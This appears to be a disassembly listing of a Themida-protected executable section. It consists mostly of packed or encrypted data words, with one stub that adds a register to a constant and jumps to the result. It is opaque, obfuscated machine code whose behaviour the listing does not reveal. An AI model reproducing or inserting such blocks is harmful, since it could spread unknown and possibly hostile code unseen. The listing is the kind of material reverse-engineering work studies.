dd 0C3988196h, 4D6BFD4h, 7F1EFE13h, 0AB580339h, 0C16F09CBh
dd 597080BAh, 61B5A2D3h, 829B2E74h, 2962DB07h, 23A06B6Ch
dd 273F6077h, 0EEE9B067h, 528BE0CDh, 0FDCA9582h, 0A46F682Ch
dd 3ADCBFD7h, 0AE03081Dh, 7823268h, 0D58138DBh, 0A689A1C2h
dd 7F18E3F4h, 62B0082Ah, 55EDF478h, 77C4177h, 284047DBh
dd 56439384h, 0AFAF4310h, 4A4249E2h, 0FC1FC2FBh, 4471FB4h
dd 8900000Fh, 0D1BACFC8h, 16FF1403h, 57405542h, 967F9483h
dd 0ADBBD0C7h, 0CDCA891Ch, 0F08CFB8h, 534411FAh, 9285553Eh
dd 0B8FE9D7Dh, 0CBAB5782h, 0C740EE88h, 8F885017h, 0BD6F7C4h
dd 332CC8Eh, 499ACB29h, 686F2AFBh, 5FF67C47h, 650248F4h
dd 0EFD71BA7h, 0D5000008h, 0B0A772ABh, 0B363F498h, 82FA80C6h
dd 0F900DB07h, 1C62B70Ch, 0DB0783E6h, 9DB54CECh, 2CC5CB7Dh
dd 4E10F30Bh, 0DA2F3449h, 8545E94h, 0B22658DBh, 7DC51CEEh
dd 27F7C8CFh, 65351830h, 0E31DA772h, 5DB0854h, 0B5D7C410h
dd 0BBA795DFh, 5041C87h, 0B048F2BFh, 0F9F1F8E2h, 0FC1F24BCh
dd 4C0CE479h, 0D100000Eh, 19021700h, 5E475C7Bh, 9F889DBAh
dd 0DEC7DCFBh, 0F503183Fh, 1502D1D4h, 57401700h, 9BBC5942h
dd 0DAFD9D86h, 46E5C5h, 0CBAB57CAh, 0C78836D0h, 0B8350017h
dd 0E204F1E6h, 0E5956ECDh, 512E46EBh, 411750CBh, 0B8233E56h
dd 0A70B460Ch, 8389B1Bh, 0BA990000h, 0D3597080h, 484F0E47h
dd 4B8B8C30h, 83D2185Eh, 21D8DB07h, 0F3B2C975h, 94FC337Ah
dd 2C655273h, 0D5A26D6Ah, 0D585BEBDh, 86514612h, 7E8398B9h
dd 0BC879045h, 22F4D7EFh, 0C8264835h, 1740902Dh, 0A6598FD5h
dd 585FDB07h, 4421F37h, 90D6C313h, 0E2AFD8C3h, 97CAC2C9h
dd 20FC1F9Bh, 0D95B38Bh, 791A0000h, 0BC60495Eh, 0FB9D869Bh
dd 38DEC7DCh, 72210A1Fh, 87425065h, 43587F1Eh, 8398BF5Ah
dd 0C5DAFD9Ah, 81D3ADCh, 0D438928h, 13CBAB56h, 72ABCB79h
dd 0BA9DB5A2h, 0BD12FF18h, 59704177h, 7A653BD3h, 74C7132Dh
dd 0CAA7BFC6h, 6096DC31h, 66D35955h, 0B264475Fh, 113225F5h
dd 0BE29C046h, 0A7E65812h, 2369BE1Bh, 0D3594CEDh, 0B8D4ECF3h
dd 762h, 0C51106B6h, 836192D8h, 0D328DB07h, 783578Dh, 3E565DDBh
dd 710C77Eh, 614E6F3Ch, 4C617628h, 4D4A0E47h, 97805235h
dd 830842CCh, 2D2ADB07h, 0E9B6FCE9h, 0B0E2AFB5h, 0E7B2A577h
dd 8EAFA86Ah, 0B7AFB676h, 0FC1FB98Ah, 0D4DAB247h, 5900000Ch
dd 0A18A9FB8h, 0E6CFE4F3h, 27102532h, 664F6473h, 7D8BA0B7h
dd 9DBA594Ch, 0DFF89F88h, 2334E1CAh, 6275250Eh, 88CE6D4Dh
dd 0CBAB5552h, 0C710BE58h, 0B8350017h, 0A9DF25E6h, 0AFD35970h
dd 36BC87A8h, 0C288349Fh, 171BA7FDh, 6C6h, 7085BA15h, 0AEA7D359h
dd 0DF337966h, 0E5DB0782h, 0E6B8F1DEh, 82A9DF25h, 0A8AFDB07h
dd 0C9897287h, 50C503CEh, 54B00D4h, 0DB0782CFh, 0E2ADCED5h
dd 0E507F415h, 0D332976Ah, 0C1D68446h, 348988A0h, 9886D012h
dd 0DB21038Ch, 0DB0792A5h, 6B83A4ABh
dd 0AFBBDE7Bh, 0E5DDE4E2h, 0FC1FB6A6h, 24BA9227h, 0A900000Ch
dd 0F1DAEFE8h, 361F3423h, 77607562h, 0B69FB4A3h, 0CDDBF0E7h
dd 0EDEAA9FCh, 2F28EFD8h, 7364311Ah, 0B2A5755Eh, 0D81EBD9Dh
dd 0CBAB54A2h, 0C7600EA8h, 0B8350017h, 6126F1E6h, 8C4EDD48h
dd 2C7C9E8Bh, 55F2F40Fh, 0E143B53h, 1BA88D44h, 1379Dh
dd 17C79B00h, 0E6B83500h, 2532DCF1h, 7DBE04F1h, 83DB0198h
dd 0ED27B17Ch, 8DB0197h, 92D884EFh, 84E3F025h, 748C8B4Bh
dd 3C58h, 54043D00h, 6452B43h, 92D8C511h, 0DB01765Dh, 0F8915C63h
dd 8F4D1ABFh, 0CFF0BD88h, 768DC7B7h, 8FA8DB01h, 0FB327824h
dd 0EB24E3FFh, 0F410282Fh, 0A4h, 29FEA0D9h, 3048696Eh
dd 17C74Ah, 0F2E5B835h, 0EFE8AA27h, 30F7A724h, 0D7A46F68h
dd 6BABA1B6h, 32D3599Ch, 0E1F6A4DDh, 599CCD03h, 0B4CCD3D3h
dd 11601D1h, 2916FE57h, 0DCFB9BD4h, 4A2AD4C4h, 2930DB04h
dd 4750033Ch, 20F42D32h, 993C1F37h, 25F1867Eh, 69FEF4E3h
dd 0B1691h, 0DDFA9B00h, 1A3DDFC8h, 5B7C1C05h, 9EB95D46h
dd 0DAFDA089h, 9312B7C5h, 0D9C2D7C0h, 1B04193Eh, 5B44597Eh
dd 0A7879CBBh, 538CC208h, 0F892CBABh, 314C74Ah, 183FDD16h
dd 4168804Dh, 0A4918658h, 0DDA8AF6Bh, 0E5D1F810h, 130017C7h
dd 4F1A3DDAh, 0F2E5B182h, 65425A27h, 3B8836E8h, 2D2AECD2h
dd 0CA6B6973h, 6D8F94A9h, 0E9E02918h, 79E6B1C2h, 0FD529CAEh
dd 0DB86C4DCh, 0C8000004h, 0D8C51106h, 17B3592h, 47343BDBh
dd 7B76ACF2h, 0F73DDB01h, 0DB017BC1h, 0B12C0C7h, 528C16F3h
dd 6DDB017Bh, 753DE954h, 0CCE3FFF4h, 238h, 0B1A678B1h
dd 924819E6h, 0D5EDBA85h, 1056ABEFh, 0D35970DAh, 0D1C1D9E0h
dd 0D359709Eh, 0DCEF4365h, 7F641EB7h, 8252C367h, 0EDBA5C95h
dd 95622D2Ah, 0C4DCA974h, 6317FC5h, 6437DB07h, 706E81Eh
dd 16E7EEDBh, 422F5047h, 614E4909h, 92C97528h, 0EA45A93h
dd 4C19E405h, 72240D34h, 0FB5C9A65h, 22F52E1Bh, 859D6A35h
dd 24F83186h, 8E2B1B33h, 94E2AEC6h, 0A9CA958Dh, 0B64BFC1Ch
dd 9EADEh, 0A9AE6F00h, 0EEE9AB94h, 2F28F0D9h, 7265311Ah
dd 0B6A1745Dh, 6F3693A1h, 0AD96ABACh, 0EFD8EDEAh, 2F182D2Ah
dd 7353686Fh, 52588ED4h, 0C45ECBABh, 17C716h, 183FDA13h
dd 8B68804Dh, 804B4C0Eh, 2369BEBBh, 0D3596FEDh, 7C1BECF3h
dd 0ABC3905Bh, 0C4962590h, 97B9BED3h, 639931D1h, 0ACACC4E9h
dd 1BA8F9E6h, 87BD0358h, 8DD3586Ch, 0F0E7B586h, 142BCD8h
dd 0C7BA0000h, 0B8350017h, 32DCF1E6h, 0BE04F125h, 0DB01987Dh
dd 3A8F7C83h, 198BEF4h, 0A5BDC4DBh, 98043EC8h, 61FDB01h
dd 629BF09Bh, 91C7A5B2h, 97DB0198h, 98487EC4h, 474EDB01h
dd 440E0E26h, 9DE3F025h, 33h, 0C511069Bh, 884A83D8h, 5287778Fh
dd 58DB0176h, 0C2FC8651h, 0DDDB0176h, 8CAE59C4h, 9404F13Ch
dd 0DDDDF5E7h, 0E3FFFB95h, 0AE6Ch, 40185100h, 0C7593F57h
dd 0B8350017h, 9A7F59E5h, 0A4244347h, 0B95D9683h, 0EE06D39Eh
dd 90567811h, 0EA975899h, 5DFDE0F8h, 20F26F3Ah, 0FC2C2237h
dd 0DFD358CBh, 0A2B5683Fh, 25395DE8h, 0ED0E85ADh, 0ED292ED8h
dd 0C210BA00h, 0F16DB03h, 2D2AE922h, 6B6C2F18h, 0E3ADF673h
dd 0B68E23F4h, 8A3h, 4B607728h, 90A5B262h, 0D1E6F1A7h
dd 102532E8h, 4E637427h, 791C8940h, 0B960495Eh, 0FBA0899Eh
dd 3CDEC7DCh, 8726061Bh, 0AB510B41h, 0C97711CBh, 0DA1056ABh
dd 0E0D35970h, 465108D9h, 0B396AE7Bh, 0F9E2F7E0h, 24293E59h
dd 632E29EBh, 0C7987E96h, 0B8350017h, 0CB04F1E6h, 73400B0Ch
dd 0F62F345Bh, 0F67A3423h, 532FBE0Bh, 733A7890h, 7C000002h
dd 0D8C51106h, 0C6DEF99Fh, 9A3972C7h, 0CDE5B27Dh, 783E9DDh
dd 0A577B0DBh, 0D3DA9AB2h, 0E8EFADE6h, 88534417h, 3CC6A3BBh
dd 0DB078402h, 592433E5h, 84447AC0h, 434ADB07h, 0E9B4A372h
dd 9372DD52h, 0CA76E1FAh, 0E3F9ED80h, 20059h, 0A3E93E00h
dd 0DB07786Dh, 0F99B6C73h, 0BAE0C6DEh, 0D3597087h, 7B68ACA9h
dd 8BE40426h, 5958F8ACh, 0F6C1D688h, 25211129h, 2BDB06FAh
dd 0ECB7A074h, 0D811FE1Fh, 0FFFE1601h, 0EE0314C6h, 55425505h
dd 0B5A7ED33h, 0D1E99688h, 73225BF4h, 0B4CC9964h, 0E2CF0710h
dd 0D3EBECA9h, 0E42A7FD4h, 0DB0725AEh, 0A595ADB4h, 0E2AF4F08h
dd 500F070Eh, 0D9FC1C22h, 7716C44h, 25F60000h, 60341D32h
dd 0DF796277h, 1CBAA3B8h, 5EFDE6FBh, 0B3162439h, 1F3423F2h
dd 5F746336h, 0A1B6A176h, 0DCF1E6B8h, 0E1175DFCh, 0E7CBAB50h
dd 17C79F4Dh, 78BE1300h, 0D3597042h, 0B2607725h, 39B693ABh
dd 0EEB37E99h, 3BDB6AD5h, 4901071Ch, 901BA801h, 135h, 17C78Eh
dd 0F1E6B835h, 0F12532DCh, 987DBE04h, 7C83DB01h, 39DF18B1h
dd 0DC16061Eh, 0F7DB0198h, 0A50A5FAh, 0DB0198D4h, 0BFF5D3DAh
dd 0C5DB0198h, 208BA6BEh, 0F0253E74h, 2703E3h, 6010000h
dd 92D8C511h, 0DB01765Dh, 366F5C63h, 0DBA87364h, 225CE6C3h
dd 3DDB0176h, 450DB924h, 9CE3FFFBh, 0C3h, 6717C79Ah, 39BFBFF7h
dd 0DC99AF8h, 0A11EE90Ah, 9D1AE5F2h, 760FDAFDh, 0DC99E3Dh
dd 0EED1E90Ah, 6C1F922Ch, 4B5CEAE7h, 0FF1F152Ah, 0E2D35964h
dd 68122730h, 0F43A27EFh, 0DB04134Ah, 75C4950h, 0E94B21E5h
dd 7725B474h, 0A7C89560h, 0EEE9AC8Fh, 0AB6BDF01h, 4BF3EA33h
dd 70230C33h, 28F3E4B7h, 55423A5Bh, 92F4E3EDh, 64925FDh
dd 0DCE0000h, 480CF50Ah, 87513A4Fh, 0C4927B90h, 6D5BED3h
dd 0DBEEFC11h, 0F70C0BCAh, 374C4B0Eh, 798E894Eh, 0B4C9CE90h
dd 0B9EF35D4h, 0BFCBAB4Fh, 72AB7725h, 6CE9B4A3h, 15E2ADAAh
dd 5AF9DCF4h, 201B58A4h, 0C9EA6089h, 0C0BCBB4h, 5DF4FD1Fh
dd 0E69C85BCh, 0C7BBA7CEh, 0B8350017h, 98DCF1E6h, 26h
dd 17C7DAh, 0F1E6B835h, 6CD7D226h, 4F813DDDh, 554E1765h
dd 7FA18EAFh, 244187Ch, 244B6324h, 27E0h, 17C72200h, 3BDA1300h
dd 6C84511Ch, 70CC058Fh, 7AED359h, 0E6B8F19Ch, 415926F1h
dd 1302BC5Eh, 1837DB75h, 76627798h, 350017C7h, 0C9B61EF7h
dd 7839383h, 71215ADBh, 0B6CE9B66h, 0AD02EFF6h, 7833167h
dd 519737DBh, 327419C0h, 9D9CB4D5h, 90A5B264h, 1EFF698Bh
dd 0BF345EC7h, 512C4A7h, 0BB1BFC3Ah, 0D5ED88CEh, 5FB4E2B5h
dd 0B5D6E319h, 6D54DDE2h, 0F358921Ch, 66263E45h, 0D150725Fh
dd 252E99ACh, 0B4477DC3h, 464DE2B5h, 0D50E0D25h, 14FD1205h
dd 0E1F6A542h, 5D284916h, 0F1DE361Fh, 5DE52AABh, 312930EAh
dd 0E44D885Eh, 101AF287h, 95000005h, 0D5BED3C4h, 12FB1007h
dd 533C5146h, 927B9087h, 0B1BFD4C3h, 0C9CE8D18h, 0B0CCBB4h
dd 4F480DF6h, 9681513Ah, 0BC02A181h, 0CBAB4D86h, 0C744F28Ch
dd 0B8EE3417h, 0BED35970h, 2433E6B7h, 0C7E9EE03h, 4D9246CAh
dd 4D6815BBh, 2C74CB30h, 4E10F30Bh, 6F2DFA99h, 0AFD09D68h
dd 2BF617E4h, 20EBECAEh, 6236F1A3h, 0C895475h, 0B87D484Fh
dd 3C55349Fh, 6929B823h, 34FF18BEh, 2B314667h, 1BA86C67h
dd 6FBAh, 1106B800h, 0FF9FD8C5h, 46677028h, 9796AE7Bh
dd 71A7ED42h, 6BD35970h, 17EED226h, 0C3CA78E2h, 0BFCEBBABh
dd 0CDD4DB00h, 86528BE0h, 0E1F9C691h, 25A559FEh, 51BEED47h
dd 0F3E9FE1Fh, 0DB00E0BBh, 7C106082h, 8B7A7D8h, 7E4D0DF0h
dd 1460238h, 2136E5DBh
dd 3BDB8956h, 9BC99C01h, 0BADBFC96h, 0F81FBCA5h, 421552Dh
dd 457E0000h, 886E8691h, 0ECB289ABh, 247A17Ah, 0D699CF15h
dd 989FD358h, 0DAFD9D80h, 0D7C0920Fh, 0D73F18C2h, 0FE63A4EAh
dd 6269DB00h, 0FED30D97h, 0E1B6DB00h, 0FEAEE42Ah, 0ADB4DB00h
dd 9544C18Ch, 0D81EB782h, 0DB00FEA2h, 6F88A1A8h, 8F8C2504h
dd 0A3C3DB6Dh, 0D0E82C87h, 0D49E4AB5h, 2DE3FF48h, 29h
dd 0C511062Bh, 765D92D8h, 224DB01h, 0DB525A8Ah, 64243CC3h
dd 0CE08925Dh, 0E9DB0252h, 0F1B965D0h, 48E3FF1Fh, 0B9h
dd 17C746h, 0F2E5B835h, 236C8E27h, 9A56EB82h, 1ABC9FB7h
dd 0E5B532FDh, 97E7DDF2h, 5ED3592Eh, 0DFF9173Ch, 4D57E74h
dd 0AA774255h, 0E8EFAF92h, 2F28EAD3h, 0E5312664h, 1C45B2F8h
dd 444BDB01h, 4490852Fh, 67AD0257h, 0DB011C31h, 28183037h
dd 0E2ABCC78h, 518A777Eh, 2730E582h, 596E8F5Ch, 0B2AAAD70h
dd 0FC1BA7D1h, 28A1790Eh, 0AD000003h, 0EDD6EBECh, 2A13282Fh
dd 6B54696Eh, 0AA93A8AFh, 0C9D7ECEBh, 0E1F6A500h, 2334E3CCh
dd 6770250Eh, 0AEA96952h, 0D41AB999h, 0CBAB4B9Eh, 0AB5C0AA4h
dd 98B0A772h, 4F1E6B5h, 500A0DCBh, 4A8B8BC3h, 6C93ABCFh
dd 0AFC4D383h, 0F91106C3h, 59707DB3h, 0C8FE44D3h, 0CED35970h
dd 0F11219C7h, 5F08CB04h, 0B07B9CBBh, 86CCCBE3h, 0DB017651h
dd 0EC855057h, 761B5197h, 1A21DB01h, 76D81202h, 0DAF3DB01h
dd 0CB8BC46Fh, 633401CCh, 0AD7A2B5h, 0FBB8F2F2h, 0C481E3FFh
dd 7F000000h, 350017C7h, 27F2E5B8h, 59754D9Dh, 9D6E30D3h
dd 59752157h, 0FF2027D3h, 465101EAh, 0FCD83D7Bh, 845CC90Fh
dd 0EA23DB01h, 95622D2Ah, 2B9C63DBh, 41CE4BBh, 7E283D44h
dd 17503D99h, 39385047h, 0AC20E4F3h, 1589ABE2h, 14B3DDA4h
dd 82954314h, 21F3AA6Ah, 79CAB19Dh, 0E8092DA8h, 0DF7F501Dh
dd 71AA97B8h, 455205A2h, 9F8CAD7Ah, 5641114Ah, 0AAE0BE8Bh
dd 0B0E2ABBCh, 816A91A9h, 0CECDC5D2h, 0BFFC1BB7h, 205522Ah
dd 0C98A0000h, 0CD0B9CEh, 4B0DF60Bh, 884E374Ch, 0C2917A8Fh
dd 17B2C0D5h, 0B3C8CF8Eh, 0F3080FCAh, 354A4D0Ah, 788D8A4Ch
dd 7DB3F998h, 83CBAB4Ah, 14C73BE9h, 5505EE03h, 0C7412D42h
dd 9C350017h, 0DBA6B163h, 4313F60Eh, 13A3F54h, 0F92F7556h
dd 0FFD3596Fh, 0DCBFD7F8h, 0DA4B843Ah, 5E18C913h, 58A7E218h
dd 0C0E1E8D3h, 8196D49Fh, 19226855h, 1FDB00D9h, 25D24D18h
dd 6C6B2BBAh, 0AEE42A7Fh, 0B4DB00D9h, 696E95ADh, 0DAA41247h
dd 0BED62375h, 0ECD93D1Ah, 38947597h, 0CB0C6A5Ch, 0B636C3B3h
dd 353CE2A8h, 2A2DED6Ah, 0A5100B5Fh, 327BC055h, 2136E3A4h
dd 52CF8956h, 0A592B336h, 0DFAAAD6Ch, 0A6FBFA12h, 0C5D50B51h
dd 569CE2A8h, 0E2A8C520h, 6A711F26h, 0DFD56252h, 0D4DBEA50h
dd 0D781BABFh, 15C5A8C0h, 1DBA3702h, 0E7B22FFAh, 0F6A825F0h
dd 0C7C216E1h, 1DAE7D5Ch, 562136E4h, 0EB567189h, 46510740h
dd 0EAB5A275h, 7022051Dh, 0D88110CEh, 0E405F5A4h, 631BBEF7h
dd 0C8E6B31Eh, 3D0829B1h, 87315870h, 1359468Eh, 0F1F9730Ah
dd 367CD1h, 6F1F973h, 2027E7FFh, 1106D855h, 902EEB24h
dd 593E8C76h, 0C899BAF6h, 6B380314h, 4EFB7653h, 528293E3h
dd 0B7161F65h, 88DDF9A1h, 0B7B7ED33h, 0B6BDF9A1h, 0A1B7A2D8h
dd 23F1A8F9h, 7B9C6934h, 879CA363h, 0AF9C78DDh, 0E9B4A376h
dd 0B7D40A50h, 0D3DAF9A1h, 2532E1B2h, 29C80E0Dh, 2F014FCAh
dd 3EE05D28h, 7B1B0419h, 0D6F8915Ch, 48CC7804h, 0D8A9BAh
dd 810FFF17h, 8D089B7Ch, 0B4A375AEh, 0E9041CE9h, 782FEF7Eh
dd 19E6B1A6h, 58FAE3F8h, 23F7743Fh, 41EE6934h, 0D09747D6h
dd 713E090Eh, 0E1363B50h, 9B7C659Bh, 4C646B08h, 7F15A969h
dd 0AE4C47FEh, 28C18CADh, 612C2BEFh, 143E7C94h, 67000000h
dd 3D96CC12h, 9B90089Ch, 6312639Bh, 0A6BEC573h, 0C73EDCC0h
dd 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h
dd 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 81E28952h
dd 4C2h, 4B85000h, 29000000h, 148758C2h, 2685C24h, 89000054h
dd 8953243Ch, 4C381E3h, 83000000h, 1C8704EBh, 34895C24h
dd 140A6824h, 3C8B07AEh, 4C48124h, 54000000h, 8124348Bh
dd 4C4h, 4EC8100h, 89000000h, 468F243Ch, 24348B08h, 81E18951h
dd 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 8957243Ch, 4C781E7h
dd 83000000h, 3C8704C7h, 0C8E95C24h, 0D9FFFA56h
db 0EEh
; ---------------------------------------------------------------------------
loc_5E3D55: ; CODE XREF: Themida_:005E27C4j
mov eax, 7AE2867h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 9947h
dd 18B650BAh, 32A926C7h, 45D17B4Ah, 0DED260D7h, 57381B2Bh
dd 0FA1B0847h, 22881D79h, 0FA2B5C42h, 8D21148h, 95FA53B4h
dd 5BBC5DBBh, 0F11C6099h, 0F6FB44A9h, 2D676CD6h, 212F5784h
dd 12E8629Dh, 0E000000h, 90B48150h, 3226E61Fh, 0E6BA84E5h
dd 35E3296Bh, 0F870F17h, 0E9000000h, 0Ah, 483605FAh, 0BA346444h
dd 0F95B66B6h, 64D6C381h, 0D2330000h, 348BC78Bh, 2271B913h
dd 0EE81281Ah, 26BDC1Ah, 7E9h, 1591DD00h, 82DBF451h, 3A7DC681h
dd 0D18022E2h, 74EE816Bh, 0B164FCE4h, 890F5660h, 6, 91F5E781h
dd 48F002Bh, 12860F13h, 0E9000000h, 0Dh, 0DE2EDE72h, 6C2DFBB2h
dd 0BCA463D8h, 4EA8386h, 5800Fh, 81660000h, 81DBB8EFh
dd 0FF9BD0FAh, 93850FFFh, 60FFFFFFh, 66D98B66h, 0E900F081h
dd 85E961h, 70620000h, 0CC47790Eh, 38F3BAF5h, 0AFD666D1h
dd 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h
dd 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh
dd 8B204A95h, 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h
dd 0FD91A7h, 4ACC48D1h, 713C3359h, 0DB4D5200h, 5EF357h
dd 9DBBEFB6h, 9500BD89h, 0EFB69F89h, 0D00097BBh, 55C3B1B6h
dd 37005271h, 0D3C20DA4h, 0E0910h, 0
dd 0E9000000h, 1020h, 0AE2C2B68h, 5535E907h, 0A68FFFAh
dd 0E907AE2Dh, 0FFFA552Bh, 0AE2DEB68h, 5521E907h, 2368FFFAh
dd 0E907AE2Fh, 0FFFA5517h, 0AE2FA668h, 550DE907h, 7368FFFAh
dd 0E907AE30h, 0FFFA5503h, 0AE311368h, 54F9E907h, 0B668FFFAh
dd 0E907AE31h, 0FFFA54EFh, 0AE32AE68h, 54E5E907h, 6C68FFFAh
dd 0E907AE33h, 0FFFA54DBh, 0AE345068h, 54D1E907h, 0DB68FFFAh
dd 0E907AE35h, 0FFFA54C7h, 0AE382A68h, 54BDE907h, 368FFFAh
dd 0E907AE39h, 0FFFA54B3h, 0EB0017C8h, 30455202h, 71869147h
dd 0B0C5D288h, 0EE0314C7h, 19BCE9E0h, 5900E9FEh, 9B40293Eh
dd 0DC7E677Ch, 27C6A6BBh, 0AB46ABE1h, 6917B1CBh, 350017C7h
dd 0DCF1E6B8h, 0DCFB9ED7h, 463720C4h, 282AB062h, 7B6889E0h
dd 196F435h, 0E127FADBh, 0DB0197ABh, 0BE89AAB1h, 196FA34h
dd 91FC15DBh, 0F024ADE5h, 3774E3h, 6720000h, 92D8C511h
dd 0DB01765Dh, 144A9063h, 1ADB0176h, 80974213h, 0D00A945Fh
dd 0EBDB0176h, 0F7BB67D2h, 67E3FFFBh, 0F13E2945h, 5F302BCFh
dd 67839BBCh, 0CCh, 17C765h, 1B3CDA13h, 8E6B8350h, 8A554211h
dd 0FF9A4D0Dh, 1F400DD8h, 5E99BB54h, 0DE9F26FCh, 5505E800h
dd 6CFA3076h, 4900D359h, 4C6D8E89h, 71F24137h, 80B9D359h
dd 0C3A6BED9h, 0DE170413h, 0DD041C3Bh, 6A3522F4h, 9D3B2B2Ch
dd 0C1E2AF7Ah, 97D98ED4h, 0D8DFDB01h, 0D83C19C3h, 478EA5EBh
dd 8D94E2ACh, 0B0F64BA0h, 0E2AC477Ah, 7E617980h, 76CBB8DFh
dd 0AC46FA30h, 0E1F900E2h, 1502D1BAh, 1B43A31Dh, 0B1891EFCh
dd 0D9Ah, 0C7DCFB9Ch, 4193EDEh, 455A7D1Bh, 8499BE5Ch, 0CADFF89Bh
dd 0C5980DBCh, 5D4BDD2h, 4714FD12h, 80523B50h, 3A28297h
dd 0AB4487BDh, 45F38DCBh, 0EE0314C7h, 55425505h, 945F781Ch
dd 9C88AFC7h, 0D8C51106h, 1765D92h, 915C63DBh, 176CD07h
dd 0E9EEB0DBh, 32F5A11Eh, 87527364h, 7F4A4D0Ah, 0E752C7B2h
dd 0EB566F08h, 45520740h, 0FB652D2Dh, 0BABCE3FFh, 0BA000000h
dd 350017C7h, 27F2E5B8h, 59754E9Dh, 766131D3h, 0B1A67861h
dd 67AFA8E6h, 9A7F347Ah, 2446DB01h, 0F2DF3517h, 7B3B5313h
dd 0A0B55F74h, 0F9328774h, 3020385Fh, 0E2AC4F08h, 0B5DD6E0Eh
dd 1832B7A5h, 7CB50AF7h, 0BDA0B8DFh, 0FBE4F91Eh, 983A7358h
dd 9E7B47Fh, 0E2ABC1D3h, 0B9B1D2D9h, 0FC1BC561h, 0BB23FB90h
dd 0BD00000Ch, 0FDE6FB1Ch, 3A23385Fh, 7B64799Eh, 0BAA3B8DFh
dd 0D9E7FC1Bh, 0F1E6B5F0h, 3324F3DCh, 7760351Eh, 0BED97962h
dd 0E42AC9A9h, 0CBAB43AEh, 0C76C1AB4h, 5EE0314h, 282D4255h
dd 55E7B1D3h, 446EE3AFh, 58FD3066h, 422F36D3h, 58FDC6FCh
dd 0ADC5CCD3h, 17C7C7h, 0F1E6B835h, 3225F3DCh, 0FF5E2345h
dd 23CDC226h, 0E1B12E0Bh, 0AD009F6h, 7D9A3C0Dh, 0A6CDE5B2h
dd 40D588B9h, 4061A794h, 46DB0162h, 7919523Fh, 0C9CE8D5Eh
dd 0DE1931FEh, 8B93D710h, 0B81CF9D2h, 9AB085CBh, 5577DA33h
dd 3ECA4002h, 282FEF6Fh, 282FEF07h, 0DE361F5Dh, 768BABF1h
dd 3052E1DFh, 71B6C7EEh, 0FABAD2C3h, 5CB106F3h, 98637423h
dd 52B7EDCBh, 0B6BDE1E0h, 0FC1BBB9Eh, 3B5CFEE7h, 0CF74FD43h
dd 4F27BCFDh, 0BDAh, 71C3BDCh, 44597E1Eh, 859ABD5Bh, 0C4D9FE9Ch
dd 0A1F38DBh, 5D8CDFCh, 4514FD12h, 87543D52h, 0C0927B90h
dd 43E2C2D7h, 0AB43C7FDh, 8533CDCBh, 895017C7h, 64A26D8Eh
dd 0E13623F3h, 7010468Ch, 5F16D359h, 657D9EB9h, 1A2A875h
dd 92A7AEDBh, 38426B8Dh, 62E0010Ah, 0A8442A8h, 728AEE29h
dd 0A08D49CEh, 0C3C3294Bh, 1C4DBB8Bh, 0FE6B1404h, 6A71E2A9h
dd 0FEDB159Fh, 0DDF6E2A9h, 738CC672h, 3955EB07h, 53000000h
dd 0B1A672ABh, 0B460F599h, 0BE9481C7h, 225BDB01h, 0CB986374h
dd 0FFECF3B3h, 0F10611C6h, 1BEC3FBh, 0E3F4A6DBh, 2730E5CEh
dd 53A1C35Ch, 3E281B4Fh, 1B337189h, 7500000Bh, 0D8C51106h
dd 8A8D4A83h, 9AA68272h, 0CACDB07h, 1BA7ACDFh, 0C0ACE34Fh
dd 581C530Dh, 3CCB74E4h, 496A3909h, 50023B28h, 0C6FF357Bh
dd 0FE05DB07h, 3FDFC8DDh, 60F4D18h, 4E9BE1CEh, 54E2B5F1h
dd 7727604Dh, 0B0624B60h, 0F79727F7h, 26D6BF64h, 2AF51637h
dd 5FFB6BECh, 0B3A06D38h, 0B5B5376Dh, 15363DE2h, 0E661E228h
dd 6067EA5Dh, 4DE0CE68h, 5C34C9E4h, 0AA2h, 0CFE4F3A4h
dd 0C2136E6h, 4D627523h, 8CA1B664h, 0D2E7F0A3h, 0FDA005C4h
dd 3DDCC5DAh, 7F1C051Ah, 0B85A4358h, 0BAA8A9Fh, 0AB418FC5h
dd 4DFB95CBh, 597080BAh, 61B5A2D3h, 99E92E74h, 1CEFDB07h
dd 79AA0D6h, 2BEFA6DBh, 7394612Ch, 6A2C6552h, 0AF6F586Dh
dd 0EF44DDA8h, 0F42D2CCDh, 35132EB2h, 0DB07BCFFh, 42E6FE05h
dd 0CE1401D5h, 0E2AFF001h, 0CCCB8FC8h, 0F5EDF4B4h, 0FC1FEA43h
dd 1F01D96Eh, 2100000Ah, 69526770h, 0AE97ACABh, 0EFD8EDEAh
dd 2E172C2Bh, 4553686Fh, 65722184h, 0A7B06750h, 0EBECA992h
dd 2A2DEDD6h, 50963515h, 0CBAB411Ah, 0C7D88620h, 0B8350017h
dd 2FEC25E6h, 70144A28h, 7A1AD359h, 4A55628Dh, 698AABACh
dd 489D189Eh, 593BCC02h, 0B3CBD2D3h, 0C9812D98h, 101BA7C8h
dd 4F5h, 0C511060Eh, 0DAFD9FD8h, 2B2A420Fh, 79AACE5h, 0BEABB2DBh
dd 0F9C4D385h, 0DC15142Ch, 1F081D3Ah, 4E1BBF7Fh, 0DD346AB0h
dd 333ADB07h, 6CB80B79h, 0AEE7804Bh, 501DE8EFh, 460E4838h
dd 0B3D5DB08h, 0F3FC2334h, 983C549Fh, 40D9BEBFh, 323B6AA1h
dd 14CEA96Dh, 6384EA23h, 0AB633076h, 6269E2AFh, 1FAF386Ah
dd 4A22B7FCh, 952h, 7F948354h, 0BCD1C696h, 0FD1205D3h
dd 3C514614h, 82978053h, 8D505574h, 0CD8C758Ah, 0FCCB5CAh
dd 480AF308h, 0BB5A3A4Fh, 0AB403F75h, 0FDAB45CBh, 350017C7h
dd 26F1E6B8h, 0F39E09A0h, 7E08B6D1h, 326E1FA6h, 867BFA41h
dd 0A3A3BBDCh, 1BA7A6EFh, 43432h, 80BA3000h, 0A2D35970h
dd 1F7461B5h, 704E84CAh, 4D54D359h, 9A424535h, 4148DB07h
dd 11C6FF54h, 9ABEF43Ah, 0BDC4DB07h, 0A0DCB9Ch, 484F0FF2h
dd 8F884A33h, 459186C4h, 0CD451258h, 444BE2AFh, 1FC93C4Ch
dd 3E16ABFCh, 8B2h, 0DFF4E3B4h, 1C3126F6h, 5D726533h, 9CB1A674h
